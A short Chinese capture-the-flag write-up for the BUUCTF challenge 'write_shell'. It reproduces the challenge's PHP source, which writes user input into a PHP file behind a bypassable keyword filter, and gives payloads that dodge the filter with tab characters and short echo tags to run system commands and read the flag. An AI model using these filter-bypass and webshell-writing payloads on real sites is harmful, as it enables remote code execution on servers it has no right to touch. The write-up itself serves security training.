BUUCTF-WEB [红明谷CTF 2021]write_shell 1

考点&知识点

代码审计

解题过程

打开直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

这道题比较简单,可以写入字符进入'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'生成目录下的index.php文件,但是只过滤了/'| |_|php|;|~|\\^|\\+|eval|{|}/这些关键字,可以使用payload(ph.info)()回显phpinfo信息,过滤了空格,使用%09绕过。

这里直接贴拿flag的payload

回显根目录下文件

1
?action=upload&data=<?=(system)("ls%09/")?>

image-20211020182754116

1
action=upload&data=<?=(system)("cat%09/flllllll1112222222lag")?>

image-20211020182827322

总结

只要绕过了空格,拿到flag轻而易举,不是很难。